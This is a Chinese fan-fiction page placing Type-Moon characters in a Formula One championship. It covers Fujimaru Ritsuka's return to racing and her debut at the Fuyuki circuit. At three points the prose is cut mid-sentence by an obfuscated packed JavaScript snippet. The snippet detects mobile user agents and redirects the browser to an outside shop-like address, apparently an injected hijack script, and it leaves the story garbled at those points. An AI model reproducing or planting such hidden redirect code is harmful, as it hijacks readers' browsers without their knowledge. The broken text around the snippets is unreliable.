《登月围场》 1. 型月一级方程式锦标赛 如何才能描述出一个美妙清晨的开始?是以别墅主人醒于她八百八十八平方米大床上,而伺立门外的管家欣慰道“小姐很久没有这么早起过”的笑容作为开场白?还是烤炉主人早早守候在厨房的第一炉亲手制作的爱心面包,等待自家学妹醒来时的惊喜笑颜作为第一幕的场景描写? 答案显而易见,未认真看过今日剧本便早早睡去的本文主人公只会迎来自己需要回归围场的本文开场第一章。在或许应该用惊吓来作为形容词的当下,她面色严肃,醒于自家濒临破产,而自己即将从富N代化身除信托外别无他物普通人的严峻事实。 “你的意思是,由于你再次受高扬斯卡娅小姐美妙话语的蒙骗,所以你上一年斥巨资买下的一级方程式车队历经一个极为失败的赛季后陷入了车手离队、人才流失等等困境,如果明年还是一个积分都拿不到就要惨遭董事会抛弃的未来极不可期状态是吗?”疑问句的语气,因出自她口便化作直截了当的笃定话语,对此处于该类事项已并非第一次发生所以逐渐有些习以为常无可奈何的立香平静地向自己的监护人发问,“而您在这样的情况下,瞎猫抓死耗子的对策是让我去当车手对吗?” “嘿!F2冠军升入F1赛场是什么时候都不会意外的可能性不是吗?”言语中自带对自己养女深刻了解的迦勒底现老板眼神真挚,依靠霜降牛肉发家致富的穆吉克家族大家长凭借自己对F1的热爱毅然决然迈步入一级方程式后,即使首年大失败还惨遭熟人诈骗也未曾放弃自己的惨败投资,并且还试图在被人骗、遂骗人的道路上越走越远,“我们家可是模范家庭决不会放弃彼此的对吗!” “我已经离开围场快好几年了……而且即使破产退出一级方程式也对牛肉老本行影响不大吧?”对家族产业并非一无所知的立香愤愤,“我的巧克力店都已经选好地址了!” “立香,”他停顿的话语让愤愤者心中莫名生出恐惧,金发老头语气中带了悲伤,“那件事已经过去很久了,你是真心实意地仍然不希望自己回到赛场吗?” 预感成真,卡顿的思绪与无法立刻做出回应的嘴,于是她没能第一时间回答家长的问题,从脸上闪过的神色哪怕只有一瞬之间也确实存在过,立香缓慢地从沙发上站起身来,“玛修应该快醒了,我就不陪您继续聊下去了,搁置客人可不是好礼仪。总还有很多车手希望获得F1的门票,把所有的希望放在一个已经离开围场多年的曾经的F2选手身上没有任何意义。” “我们所有人都希望……” 未尽之意被留在了一些人来不及说出的话语中,而不愿意听到的人也真心实意地将那些话语甩在了身后,迈开的步伐明明只是走着也越来越快,甚至到了跑起来的速度,年轻的未满二十岁的藤丸小姐离开了客厅。 早晨的日光原该美妙照耀人们的起床时刻,可惜伦敦常常没有太阳,蒙蒙细雨是城市的主旋律,为此,喜欢晴天的小小立香在自己还在开卡丁车时就总在祈祷明天别下雨——尽管她雨战实力颇为不错,甚至于要比场上的大部分选手都好出一个等级,与旱鸭子之名的距离更是远得比她进入F1的路程还要漫长。毕竟F2的冠军升入F1是一件“理所当然”的事吧? 面包是刚刚出炉的香气扑鼻,罗宋汤是热气腾腾的美味可口,英式早餐必备的烤吐司搭配煎蛋培根香肠正在桌上被搁置。明明对方神色自若,吃饭速度也一切如常,可下意识发觉对方不对劲的玛修已主动出击发问:“前辈今天有哪里不舒服吗?” 想要将谜底脱口而出的欲望被强制压下,后辈同样拥有车手爹和车手哥的高赛车浓度家庭背景让立香理智回炉,她笑了笑:“今天的巧克力酱好像太甜了。” 没能完全放下心的后辈善意地跳过问题,玛修将昨日未来得及问的邀约挪到现在:“啊对了!前辈下周末有时间吗?整整一个周末的那种有时间~” “有呀,玛修打算出门玩吗?”尚未听到是去做什么便已直接满口应下的立香从自己的碟中捞起一个小番茄。 “太好了!我还担心要飞到迪拜太远了前辈会拒绝我。”后辈难得提出的请求,因此笑意也格外灿烂。 立香的小番茄从嘴巴前掉落回碟子上,她有些迟疑,可喉咙已经在大脑完成思考前说出了话:“下周末的迪拜?” “嗯嗯!今年我都没能去现场,所以夏休时和哥哥约好如果他这个赛季有机会拿世界冠军的话就去看……”玛修有些忧虑,“前辈还好吗?” “嗯?什么都没有哦……哥哥是说加哈拉德吗?”立香努力保持着笑容。 玛修猛地坐起身来,越过半张桌子捧起立香的脸:“……呼,我还以为前辈又……” “我很好哦,那种事不会再发生了,只是看比赛的话还是很轻松的。” 才怪……或许吧。 飞机行驶平稳,酒店的入住一切如常,赛场的运转令自己熟悉,赛场上大部分的车手也绝大部分是自己的熟面孔,甚至于…… “噢噢立香!” 还有自家的车队。 迦勒底的logo历经多个老板转手来转手去,从阿尼姆斯菲亚到现在的穆吉克也仍然保持着最初的样式。作为老板女儿兼曾经的圆桌车队青训选手、过去的F4季军、F3亚军与F2的冠军,藤丸立香按理来说应该对围场熟门熟路堪比回家,可她终归太久没有再走进过赛车的世界了,以至于当下的所有都让她感到一丝陌生。引擎的声音、车轮滚滚翻起空气的声音、tr中常常爆炸的炸麦对话声……很多很多陌生又熟悉的声音向自己袭来,以至于她没能听到曾经队友大声呼喊自己然后索要熊抱的行为:“立香!!!好久不见!” 下意识抬手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941692|192955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回以拥抱姿态的立香动作自然的让她自己都僵了僵,但她很快放松下来与对方轻松地交流起来。排位赛的糟糕发挥(P4)、车海豚跳比上一场塞勒姆的时候严重多了、车队调校还没能找到合适窗口、队友暖胎圈恶意遮挡,还有领队奥伯龙又在偷懒!阿尔托莉雅-卡斯特小声抱怨完后,又立刻开始兴奋地畅想这是这台车的最后一场比赛了!明年一定能开盲盒开出好车吧?!虽然圆桌明年的引擎研发据说很失败……但是就要冬休放假了! 话语像水一样淌过立香的耳朵,却滚烫的让她有些想哭,她顺着对方的话字字有回应地回答,唯独在对方关心自己之时避开了所有可能需要回答那件事的疑问。于是阿尔托莉雅也不再说了,卡斯特关切地摸了摸立香的脸:“总之来看我的比赛吧!毕竟我离世界冠军的距离可比隔壁加哈拉德要近的多噢!” “都是圆桌车队,区别只在于是圆桌一队还是妖精圆桌吧?”立香语气轻松调侃道。 “才不一样!”似乎回忆起什么的卡斯特气结于心,“总之我一定要赢给雅兰杜看!” 一身赛车服的朋友离开了,依靠双腿行驶在工作区的立香被迫和无数路过的熟人打招呼,前队友、前前队友、前前前队友、赛场内的朋友们、熟悉的别队领队们、家长的朋友、看着自己长大的大人们……怎么会有这么多认识自己的人? 不远处观众席上有呼喊“藤丸选手!”“立香!!”的声音,于是她乖乖停步完成了签名与回答疑问的工作,像很久以前一样,像从未离开过一样。 “所以,你还是不打算成为明年迦勒底的车手?”不久前在家里被拒绝过的看起来可靠的大人问道。 立香眨眨眼,只用了一个笑容表达自己已经听到了的意思。她没有跟随迦勒底车队老板的步伐进入迦勒底的P房,只是什么都不打算回答地走到了观众席的位置——一个其实她不怎么熟悉却又无比熟悉的旁观者角度,立香在赛前的车手出场环节中坐了下来,以平静的态度。 迪拜赛道很长,共计44圈的里程拥有长达近7km的每圈,是所有赛道中的最长。与位列第二的拉维斯加斯相比,每圈要长出近0.5km。赛道主办方兼最大赞助商Sakura Five家族中的BB小姐热心出演了设计师的角色,一笔一划列出了1-4号弯超长大直道然后接连续数个中高速弯,9-12急弯、急弯再急弯的复杂路段后是长直路与易超车弯的精彩纷呈好路段。藤丸立香喜欢这些永久赛道多于街道赛道,也因此,她其实很熟悉脚下这条赛道的最佳走线——并非仅存于模拟器中的熟悉。 她在五盏红灯逐盏亮起又一同灭去的比赛开始前擦了擦眼睛,下意识的动作与难以用语言描述的心情紧紧抓住了她的心脏,藤丸立香不是不知道这意味着什么——灯尽灭。 比赛就此开始了。 2. 冬木赛道1 第一次走进围场,是因为新监护人对赛车的喜爱。心理医生的建议是拥有可交流的话题有益于增进父女感情,无需思考便已做出决定的戈尔德鲁夫自信满满领着小孩走进引擎声轰隆轰隆的赛场中。 那是个雨天,排位赛的Q1刚刚开始拉表,18分钟的时长短暂又漫长,湿漉漉的地面被赛车的轮子卷起水雾一样的裙摆,能见度有些糟糕的眼前只能听到赛车穿过维修区时发出的巨大轰鸣声——奇怪的并不刺耳,所有的一切构成了藤丸立香对赛车的第一印象。崭新的世界让幼童心中生出了好奇与莫名的兴奋,可立香从未想过也并不能够知道自己未来会变成车手成为飞驰于赛道之上的主人公,她只是第一次发觉原来湿漉漉的雨天居然也能拥有还算不错的感觉。 冬木其实很少下雨。总是晴朗的天气,一望无际碧空如洗,冬季不冷夏季不热,雨天的次数虽有,却也实在少的可怜。 藤丸立香在这里度过了无忧无虑的“从小到大”,一直到随父母搬到东京之前。童年时期会踩着单车往来于每一个和朋友约定的玩乐地点与家之间,大城市的小地点是她关于故乡大部分曼妙回忆的发生地点。喜爱拍照的习惯或许就是在那时被她自己发掘出来,热衷于手捧摄像头记录下每一个画面的喜好在后来的很多时间里都成了立香的救命稻草。她在很久很久以后的某一天里,需要一张接一张地翻烂相册薄才敢走出房间迎接自己新的家人与再不回家的未来。可没人能提前知晓自己命运,小小立香得到自己第一部摄像机时只知道一件事:大人们回家总是很难,那就让我记录给爸爸妈妈吧! 因此,她对冬木这个城市的熟悉程度在某种程度上可用蟑螂了解何处有食物来做形容。也正是因此,她的监护人对于本地人立香竟然从未进入过家门口的围场赛道抱有大受震撼的态度。 雨天很难找抓地力,可比起这件事,对于冬木竟然下如此大雨持有更加烦躁心情的立香在自己新秀登场第一站的排位赛中发挥并不好。正赛P10的发车位,一个看起来还不错的成绩,实际上是她Q1、Q2接近前五的努力全因为Q3末尾发生意外事故出示红旗无法完成自己的飞驰圈而被白白浪费后运气极差的体现。 她平静安抚TR里工程师对自己的忧虑,说着“我们可是开进Q3了!”的乐观话。脚与鞋子一同回归地面的立香摘下头盔,胡乱撩下头发确认没挡眼睛后就抓起帽子径直迎接记者与长枪大炮的袭来。 作为本田梦寐以求多年,而今终于出现的霓虹国籍自家人,藤丸立香在上一个赛季末被官宣将在次年加入迦勒底这个看起来前途大危的车队时,几乎是激起了满推问号。记忆力极为糟糕的网络观众们在认真扒拉近几年的赛事后,终于在几年前的F2锦标赛的冠军位置找到了这位“陌生”选手的名字——当然,这其中并不包括那些正为藤丸选手放弃甜点师回归正途而热泪盈眶、喜极而泣的粉丝们。倒是围场内的大部分车手加高层都不奇不怪地在采访中困惑反问:“以藤丸选手/立香的能力,进入F1不是很正常吗?” 直到老板女儿的身份被前期毫无作用的媒体小报努力补救狗仔实力地爆出后,才得到大部分看客们自以为很懂的“噢~” 对藤丸选手回心转意回归赛场而惊喜万分的霓虹赞助商火速迎接自己自带背景无需忧虑(存疑)明年席位的F1车手新代言人,而喜获新投资的迦勒底老板戈尔德鲁夫-穆吉克努力了整个冬休三个月,将队内清理又调整后奋力挖人,力图给自家车手一个美好赛季开始。可惜,唯独最关键的车烂是一个无论如何都没办法在短时间内解决的问题。被车手藤丸立香和工程师罗马尼三求四请才请来的万能天才达芬奇亲神色严峻,自入职以来便颇有一种自己晚节不保的预感,Shadow Border-18(后续简称SB18)大抵在上一年研发开始之时就已经输了个彻底,实在是一辆几乎可以被称为“输在起跑线”的烂车。 不愿意对此车做出任何评价的迦勒底新技术总监苦恼了数个星期,挣扎之下做出了把自己的老朋友们都拉下水的决定,然后喜提被迫入伙的希翁、尼莫等技术专家共同的痛苦面具:“从现在开始新造一台也能比这好。” 经历了季前测试的迦勒底车手们对现在的SB18倒是要比车队其他人要更加乐观些,毕竟,无论怎么调整都不会比刚开始那台车要更差了。而开过上赛季SB17的卡多克显然将新车与上一年做过对比,没跟前队友一起跑路的他对这个赛季抱有一种不比上一年差就是胜利的信念感,还没开过F1的围场新秀藤丸立香对此人的莫名乐观不予置评。有礼有貌保持全场温和态度地完成了所有采访环节,她扒拉着自己被汗水浸透的衣服往迦勒底的P房走,离开了镜头才改礼貌笑容为神色恹恹地和自家技术总监抱怨车转向不足尾速烂的毛病什么时候才能被优化掉。 还在看屏幕的达芬奇亲随意伸手爱抚橘头:“这一场的海豚跳还严重吗?” “这个倒是好多了,之前就差没把我晃成肉泥然后扔进每一个急弯的大锅里煮了,”提起此事的立香和一旁的卡多克同时发出感慨般的叹气,“再怎么对比,都比冬测时好多了。” “女士们先生们,”拍着手掌走进P房的迦勒底老板顺手揽过还没来得及换掉赛车服的立香的肩膀,戈尔德鲁夫笑着慰问所有人,“今天都辛苦了。” 结束排位赛赛后汇报复盘与调整,穿过媒体混访区,完成常规拉伸与按摩理疗的立香在熟悉的语言中缓慢步行回家,没有和团队一同住酒店是因为藤丸家就在附近的不远处。雇人定期进行清洁的环境仍然整洁,与多年前一般无二的摆设在她眼前被蒙上水雾,在用手揉眼睛前意识到这很不卫生的立香把手松了下来,她从口袋处掏出响个不停的手机:“晚上好,卡斯特。” “立香~”拖着长长尾音的阿尔托莉雅-卡斯特从电话的另一头发出晚餐邀请,“今晚要不要和我和奥伯龙一起吃饭?” “如果你再早半个小时的话就可以。”如实回答的立香谨慎地把手机往外挪了挪,果不其然得到了网线另一端的大声嚷嚷。 “和迦勒底(车队)?不是的话……不公平!立香第一场比赛日前的最后一顿晚饭应该和我一起!”卡斯特佯装怒声怒气,“是谁抢跑?” “你认识的人。”心虚目移的立香把包随意丢在客厅的桌上,迈着大步往楼上自己的房间走,她调低音量后用脑袋和肩膀夹着手机好让声音固定在耳边,右手从左手腕上抽出一条皮筋来束起自己散乱的头发。 “我认识?也是车手?”语气中的困惑也不过只存在了一瞬之间,猛地意识到什么的卡斯特震惊,“不会又是加哈拉德吧!是和玛修一起吗?那我也要去!” “那奥伯龙怎么办?”立香迟疑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941693|192955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “噢他可以和正版梅林去吃晚餐。”自顾自做出决定的卡斯特语气轻快,毫不在乎对话中另一位主人公的想法。 “诶——”闻言更加迟疑的立香卡顿片刻后忍俊不禁,“如果我说今晚除了玛修和加哈拉德还有梅林亚瑟呢?” “……?”卡斯特也卡壳了,“原来只是圆桌聚会吗……” “不来吗?”立香笑着回问。 “唉我还在摩根手下过日子呢,就不去亚瑟前面凑了。”与那位退役多年的传奇车手拥有相同名字的卡斯特嘟嘟囔囔。妖精圆桌车队虽同样由卡美洛集团主要控制,其核心人物却是当年与亚瑟争WDC争到亲情破裂的摩根勒菲,也直接导致了圆桌车队的两支队伍虽用着同样的引擎与相似研发技术,在赛场上也需得竞争到底。 思绪回到原本的地方,在关于人际关系的地方,藤丸立香在F1围场熟人太多并不只是一个普普通通“认识过”的“熟人”关系。 有别于只是在赛场上见过面、青训营中有过接触等非陌生人的熟人概念,和今年F1围场中百分之九十九的车手都有着至少去过一次对方家里吃饭关系的藤丸立香,虽初登F1赛场,却已光速成为所有车手在采访中投票第一的“你认为谁是围场里最受欢迎的TOP1?” 虽为霓虹国籍,却在少年时候已跟随新监护人来到大不列颠生活,从此再不怎么回霓虹。因此,藤丸立香虽然仍然拥有日式名字、日裔面孔与在霓虹成长的过去,她实际上却可被看做大半个大不列颠人。 立香的监护人戈尔德鲁夫-穆吉克,还是车手时的F1成绩尚不错,离开后与围场中大大小小的人也还都保持着不错的关系。得益于此,拥有车二代与富N代的得天独厚优势的立香进入赛车世界也轻轻松松。八岁时还在东京玩遥控赛车,九岁那年也才刚刚握上卡丁车的方向盘,十岁就已拿下大不列颠卡丁车的全国冠军。其展露名声之快,令曾经自诩颇有天赋的戈尔德鲁夫也难免心生天才代代来的感慨。 圆桌车队的领队梅林很快注意到这位天赋异禀的选手,并在时钟塔青训营向藤丸立香伸出邀请之手前,先行递出了邀约——戈尔德鲁夫是曾经的时钟塔车队车手,为F1的时钟塔车队带来了四个分站赛冠军、十三个领奖台与半个WCC。 卡丁车时期的老熟人很多,而圆桌车队青训出身的车手又几乎拥有今年三分之二的F1席位,立香登入低级别的方程式赛事后又在不同队伍中都待过,至于其他既没有共事过也不曾有过其他场外关系的车手,要建立了关系也只需一场不大不小的赛场纠纷。但是说到底,百分之九十九的关系建立都是基于一点:藤丸立香的社交能力,以及“立香是个好人”等其他人的诡异评价。 夜星稀疏,从酒店大厅与其他人挥手说明天见的立香打了个哈欠。耗时3h的晚餐全程有一半时间在听梅林问为什么不来圆桌车队,对此只觉对方围场策略大魔法师的人设正崩坏的立香保持礼貌微笑,她以监护人是车队老板且自家罗曼绝不会主动来就你的事实进行婉拒。 打着电话与工程师进行新一轮密切沟通的立香步伐悠悠,她用自己开起车来就很好使的脑袋回顾排位赛的数据,对明日的正赛拥有只是名次上升就是胜利的乐观心态。 “立香,你在这一点和卡多克一模一样。” “是是~谁让我俩是队友呢。” 3. 冬木赛道2 拿过F2冠军的选手就一定能够升入F1拥有理所当然的车手席位吗? 答案只有一个:不。 日籍身份,优越的家庭背景,本田撑底;半个英籍,圆桌青训出身,大车队领队认可,恰逢圆桌两个车队都有席位需更替;刚满十八,已手握足够积分拥有超级驾照;车二代富N代,赞助部分毫无压力甚至还能带资入队;低级别的F4、3虽未获冠军也收获了领奖台,F2逆袭夺冠的心态可嘉、实力不俗让她喜提最有可能进入F1的好开头……多么顺风顺水的开局啊,所有人都认为这位选手不论或早或晚总有一天会拥有F1的一席之地。 唯独选手本人心知肚明,自己只是一个再普通不过的车手而已。怯懦、畏惧危险、恐惧离别以及一次挫折便再不敢前进。 超高速行驶中的两车相撞,车陷入沙砾的声音,车旋转后又与阻碍物相撞的声响,巨大的爆炸声,燃烧的火,眼前的红光,奋力拨不开的雾与肉身无法撼动的命运……喘息着从梦中醒来,面色苍白的立香伸手捂住自己的眼睛,第无数次梦醒时分也仍未走出的深夜,她拿起手机确认时间。 白光刺目,眯眼看屏幕,从跳动的数字中找到了自己需要的当下究竟几点几分,她重新闭上眼,试图在闹钟响起前再次回归正常的睡眠状态。 下午两点是霓虹大奖赛正赛的开始时间,未到早上八点就已从床上爬起来的立香不知自己昨晚到底睡了没睡地扯开床帘思考今日阴天的降雨可能性。绞尽脑汁也没能从还未启动成功的大脑中找到昨日会上关于正赛日天气的数据,在洗漱换衣前先做起拉伸的立香看了眼墙上的老式挂钟——07:49。 不自觉紧皱的眉头被她放平些许,回归固定安排的规律日程允许立香在熟悉感中保持尽可能放松的身体姿态。双重主场的紧迫感追逐着这位首次登上F1赛场的年轻选手,她在用过早餐后熟门熟路地避开粉丝人潮的拥挤路段,一身轻松地从家抵达了围场。 进入车队后勤区,迎面便是车队工程简报会议,策略、天气、起步、交通管理一连串下来的议程为下午的比赛做足准备。仍旧被焦虑感包围的立香与比赛工程师习以为常地用一个拥抱做会议结尾,步伐匆匆地准备去完成今日赛前的媒体采访,被重新挂回脸上的笑容一如既往,远比天边的阴云密布要晴朗。 列奥尼达教练的到来一般意味着赛前体能激活环节的即将开始,身体需历经斯巴达人口中的适量运动后才能保障承受稍后的高负荷,她在赛前提前数小时随意用叉子扒拉碟中的清淡食物——拥有远低于围场平均数的身高与体重的立香在平时是无需过分约束饮食的,这常常使她在其他选手面前作恶多端狂吃冰激凌。 霓虹是个体育氛围相当不错的地方,从花滑到F1都有良好的群众基础,自上一年澳大利亚站因赛道问题挪到赛程中段后,原第二站的霓虹大奖赛一跃成为新赛季的第一站,正赛之前的冬木冲刺赛也随之挪到今年的第二站奥尔良赛道去了。观众席上巨大的应援横幅远比前几日媒体采访时要多,大车队之间的斗争从场上到场外都有无止境的来来回回,立香诧异发觉在巨大的红蓝之间居然夹有一片不小的银白色区域——迦勒底的应援区。 “你是本地选手,车队厂商又是本田,上一年的成绩再糟糕也不妨碍对今年迦勒底的支持啦,”双手插兜借立香身体躲避自家领队注视的卡斯特慢慢悠悠地说,“毕竟(时钟塔)迦勒底好歹也是曾经的大车队吧?” “不,我只是想说,奥伯龙在瞪我们哦,”立香瞅了眼不远处,又往自己嘴里灌了一口电解质饮料,“你昨天上墙撞坏了什么?” “唉,别提这个……我难道今年又要登顶维修费TOP1吗……”卡斯特郁闷。 “今年第一站还没开始,放宽心。”立香吹口哨,“至少我不会像奥伯龙一样当面说猪突猛进。” “?!”闻言大怒的卡斯特狂敲此人脑袋,打打闹闹间完成了车手们的出场与发车区巡游。 “这里是罗曼,无线电测试。” “声音很清楚。” 心脏在只有自己的驾驶舱中跳动,脸颊两端都被防火头套与头盔包裹着,密不透风的身体感知给车手以仍旧存活的安全感。她在与工程师对话之时试图从耳机中窥探车组方向的其他声音,头顶的车组人员为立香系好六点式安全带,并再次确认饮水管、无线电和通风系统的运作正常。 呼吸的频率稳定,久违而熟悉的赛场感觉正在回归,比赛即将开始的信号仍在等待发出,竭尽全力聚集的心理却始终无法避免回忆起噩梦的那一天。立香眨了眨眼,试图专注于即将开始的正赛。可自己准备行驶于童年故土之上,所驾驶的坐骑已从悠哉游哉单车变身为时速300+赛车的这件事,总让她心生恍惚。 “四十分钟后预计有小雨。”天气数据来着迦勒底维修墙指挥中心的首席策略工程师夏洛克,进行提醒的比赛工程师罗玛尼未能第一时间接收到车手回复,他耐心地进行再一次的提示:“集中注意,立香,暖胎圈准备开始了。” “Copy.” “读者朋友们下午好,这里是Type Moon体育频道,即将开始是本年度型月世界一级方程式的首站正赛,欢迎来到阴天的霓虹大奖赛。” “暖胎圈开始,我们可以看到发车格的顺序,P1和P2分别是卡美洛圆桌的加哈拉德和妖精圆桌的阿尔托莉雅-卡斯特,莫德雷德在P3,昨日因离合器出现问题的爱德蒙落后P4的队友贞德Alter一位排在P5……而迦勒底车队的一年级生藤丸选手首站登场就开进Q3拿到了P10的位置,她在昨天排位赛中的表现可以说是相当的出色!” “五盏红灯尽数熄灭,霓虹大奖赛正式开始!车手们正在冲向Turn 1。” “我们可以看到头排发车的两位车手,P1的加哈拉德瞄准弯心路肩正试图从赛道最左侧切入赛道右侧,而P2的卡斯特却牢牢占据内线封锁了他的入弯路线——第二位发车的卡斯特超越杆位选手,上升到了第一位!她正在领跑全场!” “两台Alter side by side并肩进入第一个弯,P8的库丘林和P10的藤丸立香是唯二在第一圈开始就试图向前超越的选手,这个中高速、全油门通过率很低的重刹右弯意味着车手们必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941694|192955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 须为他们的刹车点选择付出‘代价’。” “哦哦阿尔戈车队的伊阿宋冲进了缓冲区!为了避免被后车超越,他刹车太晚了,目前一直落到赛道的最后,P10发车的藤丸立香一路上升到P8,在只过了一个弯的情况下!” LAP 7——迦勒底车队TR: “立香,请在‘S’弯 (6号弯)管理好前胎温度,前轮正在颗粒化。” “左还是右?” “Both.” “Copy.”车手模糊的声音透出冷静,立香回答,“我希望稍后不要重复告诉我每一圈都需要LICO。” “收到,我们正在确认。” “冬木赛道连续的高速弯对前轮的挑战可谓相当大,我们能看到大部分选手们都在管理前轮,比赛才进行到第十圈,凯尔特车队的工程师已经第四次在无线电中分别向两位车手强调管理前轮磨损了。” “但是也有例外,P3、P4的两位车手已经是第三次在turn1出现轮对轮摩擦了,一直在push的后果就是前轮磨损剧烈,而P5原本落后近5s的爱德蒙已经追到一秒以内!在这个赛道主要超车点的长直道上!他将利用尾流并启用DRS!” “莫德雷德选手和贞德Alter选手之间发生轮对轮碰撞!赛会正在回看调查,爱德蒙一举反超他的队友贞德Alter,并顺势超越莫德雷德——他来到了领奖台的位置!” LAP 20——迦勒底车队TR: “Box, box. ”比赛工程师罗玛尼在无线电中与立香对话,“雨势在两分钟后将会变大并持续近二十分钟。” “半雨?” “是的,这将是我们唯一一次进站。” “雨天轮胎管理会更便利,请确认雨势持续是完整的二十分钟,如果是短时间降雨的话,就不换半雨。”本地人车手停顿片刻,“现在已经有人换半雨了?” “罗马(车队)的伊丽莎白(Rider龙娘)在上一圈已经换成半雨。” “Copy,我会在这一圈进站(Box)。” “已经是本场比赛的第40圈了!受排位赛雨天的影响,场上大部分车保留使用湿地的调校,而十圈前车手们也已经陆陆续续全部更换为半雨以确保轮胎优势。但在目前雨势趋小甚至于即将停雨的情况下,到底谁会是第一位撤下半雨胎的车手呢?!” “天哪!第十五号弯!第十五号弯!两台摩诃婆罗多发生了碰撞!在这个全油门通过的传奇高速弯,本就队内内斗风声不断的摩诃婆罗多车队,迦尔纳选手与阿周那选手一同冲进了沙砾地!我们可以看到双黄旗正在被出示!” “非常有趣的是,两位选手的比赛工程师怖军和难敌似乎发生了比较剧烈的争执,不过已经被赛会工作人员调停了。” Lap41——迦勒底车队TR: “立香,第十五号弯发生意外,安全车出动。” “Box,box.”还有半圈就要来到维修区门口的立香当机立断下达指令,“换C2,现在场地已经没那么湿了。” “Copy.” 4. 冬木赛道3 “安全车出动还不到一分钟,已经有选手进站了!位列P8的藤丸选手在接连超越出现事故的两位摩诃婆罗多选手后果断要求进站重新换回中性胎!她出站后首圈的轮胎表现将成为其他尚未入站的车手们重要的判断标准! “非常果决的进站时机,在安全车带领下,进站损失时间可以从 20-25 秒压缩至 8-10 秒。但中性胎又是否能够适配当前赛道的湿润情况呢?相信所有其他的车队都在关注迦勒底这一圈的表现!” Lap42——妖精圆桌TR “Box,box,卡斯特,43圈进站,中性胎 C2。维修区无拥堵。” “有谁已经换了吗?” “立香在上一圈的表现不错。” “开着SB-18的表现不错?”卡斯特诧异,“Copy.” “在两台摩诃婆罗多退赛后,率先换上C2的两台迦勒底共同来到了P5、P7的位置,他们在安全车离场后第一次刷新了最快圈速(刷紫)!这辆出自迦勒底新技术总监之手的SB-18在本场有着不可思议的速度!” “太阳!太阳!完全消失的雨水,赛道快速变干,冬木赛道的诡异天气给了所有尚未撤下半雨的车手当头一棒!而两台迦勒底一路狂追,P5的藤丸立香正在给P6的莫德雷德施压,P7的卡多克合理且灵活地利用了这一点,大胆地从外线切入然后顺利地来到P6!这位一年级生的出色发挥即将为她的队友和迦勒底车队带来比上一年二十三场比赛加起来还要多的积分!” Lap49——迦勒底TR “赛道完全干燥。中性胎磨损 35%,无需额外进站。”罗曼强调,“主直道 DRS 可用,前车是Alter车队的唐泰斯,差距1.38s。” “Copy.”不假思索先做回答的立香停顿后发问,“我现在的位置是?” “P5,”毫不吝啬于夸赞的比赛工程师笑道,“做得很好。” “噢——所以我超越爱德蒙之后就是P4了吧!” “剩下4圈你可以全力push,请注意优化德格尼尔弯(3号弯)出弯。” “Copy.” “不可思议的全力push,我们能听到迦勒底tr中工程师与车手之间的对话,藤丸选手的中性胎比前车多使用了5圈,但在脏空气中仍然做到了不错的轮胎管理,性能衰竭的程度远低于其他的车辆。” “不过Alter车队一直都有轮胎管理较为困难的问题,两位车手在采访中都不约而同地表达过,他们赛车出现轮胎过热衰减的次数要远多于其他队伍,尽管存在复仇之火加持跑得快而导致过热的基础原因,但冬木赛道的特性和今天天气多变也是比较大的影响因素。目前Alter车队的两位分别在P3和p4。贞德alter选手在数圈前通过提前进站换胎,成功undercut了她的队友和莫德雷德选手,顺利来到领奖台的位置。” “而妖精圆桌的阿尔托莉雅-卡斯特正在领跑全场!起步从杆位选手加哈拉德手中成功抢到P1后,从第一圈到现在,她始终在领跑!” “她的队友芭万-希昨日排位赛发挥不佳,今天虽起步不错但因车组两次换胎接连出现失误,错失良机,目前排名在积分区边缘,比较可惜的一件事。” “藤丸选手已经追到了1s以内!凭借主直道的DRS区,后车紧贴前车充分使用尾流,他们几乎是肩并肩并排驶入了三号弯!天哪!延迟刹车抢占内线的藤丸立香完美走线,她在没有发生任何碰撞的情况下成功完成了超越!P4、P4,这位新秀首战来到了第四位!比赛只剩下最后两圈!” “大胆的做法!在这个快速右弯接收紧急弯的复合弯上,能够做到精巧把控刹车点与刹车力度,在轮胎锁死与两车相撞之间走出了完美的线路,多么精妙的操控啊!” 只能听到自己的心脏在跳动。 规律的跃动频率,一呼一吸原该悄无声息,此刻却都在头盔内部变作狂风怒号。护目镜上的雨水模糊了视线,纯粹的身体记忆越过视觉、触觉与对高压的感知来操控着方向盘。对每一个弯、每一个刹车点都有着超越模拟器数据的熟悉感,立香知道自己应该走什么样的线路才能兼具速度、出弯与轮胎管理。 可她一直在想,为什么冬木会下这样的雨呢?幼年、童年、少年,那些可以用“从小到半大”来形容的时光与记忆里,没有这些雨,藤丸立香难以移开自己眼睛上的水雾,哪怕点点滴滴都不过只存在了瞬息一刻,便被风卷走掀飞。 